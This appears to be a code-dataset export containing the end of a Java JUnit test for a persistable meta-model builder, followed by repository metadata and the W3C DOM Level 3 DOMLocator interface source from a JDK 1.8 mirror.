public void testPersistableMetaModelBuilder() {
Class metaModelClass = MetaModelProvider.getMetaModel(test.model.Room.class);
ClassList classList = new ClassList();
classList.addClass(metaModelClass);
PersistableMetaModelAttributes persistableMetaModelAttributes = new PersistableMetaModelAttributes();
AttributesSubset attributesSubset = new AttributesSubset();
attributesSubset.add("roomId");
persistableMetaModelAttributes.add(metaModelClass.getSimpleName(), attributesSubset);
ClassList persistableList = null;
try {
persistableList = PersistableMetaModelBuilder.build(classList, persistableMetaModelAttributes);
} catch (NotExistAttributeException e) {
fail(e.getMessage());
} catch (ModelClassNotFound e) {
fail(e.getMessage());
} catch (NotAnEntityClassException e) {
fail(e.getMessage());
}
assertEquals(1, persistableList.getClass(metaModelClass.getName()).getDeclaredFields().length);
assertEquals("roomId", persistableList.getClass(metaModelClass.getName()).getDeclaredFields()[0].getName());
}
}
|
[
"ltenconi@gmail.com"
] |
ltenconi@gmail.com
|
fdc2d65ff3c6389c5c6a6a0d06fbab837f78e8ae
|
aa6997aba1475b414c1688c9acb482ebf06511d9
|
/src/org/w3c/dom/DOMLocator.java
|
819c6c1a72ae69edea9a43b8e09a15026612b519
|
[] |
no_license
|
yueny/JDKSource1.8
|
eefb5bc88b80ae065db4bc63ac4697bd83f1383e
|
b88b99265ecf7a98777dd23bccaaff8846baaa98
|
refs/heads/master
| 2021-06-28T00:47:52.426412
| 2020-12-17T13:34:40
| 2020-12-17T13:34:40
| 196,523,101
| 4
| 2
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 2,004
|
java
|
/*
* ORACLE PROPRIETARY/CONFIDENTIAL. Use is subject to license terms.
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*/
/*
*
*
*
*
*
* Copyright (c) 2004 World Wide Web Consortium,
*
* (Massachusetts Institute of Technology, European Research Consortium for
* Informatics and Mathematics, Keio University). All Rights Reserved. This
* work is distributed under the W3C(r) Software License [1] in the hope that
* it will be useful, but WITHOUT ANY WARRANTY; without even the implied
* warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* [1] http://www.w3.org/Consortium/Legal/2002/copyright-software-20021231
*/
package org.w3c.dom;
/**
* <code>DOMLocator</code> is an interface that describes a location (e.g. where an error occurred).
* <p>See also the <a href='http://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407'>Document Object
* Model (DOM) Level 3 Core Specification</a>.
*
* @since DOM Level 3
*/
public interface DOMLocator {
/**
* The line number this locator is pointing to, or <code>-1</code> if
* there is no column number available.
*/
public int getLineNumber();
/**
* The column number this locator is pointing to, or <code>-1</code> if
* there is no column number available.
*/
public int getColumnNumber();
/**
* The byte offset into the input source this locator is pointing to or
* <code>-1</code> if there is no byte offset available.
*/
public int getByteOffset();
/**
* The UTF-16, as defined in [Unicode] and Amendment 1 of [ISO/IEC 10646], offset into the input
* source this locator is pointing to or <code>-1</code> if there is no UTF-16 offset available.
*/
public int getUtf16Offset();
/**
* The node this locator is pointing to, or <code>null</code> if no node
* is available.
*/
public Node getRelatedNode();
/**
* The URI this locator is pointing to, or <code>null</code> if no URI is
* available.
*/
public String getUri();
}
|
[
"yueny09@163.com"
] |
yueny09@163.com
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.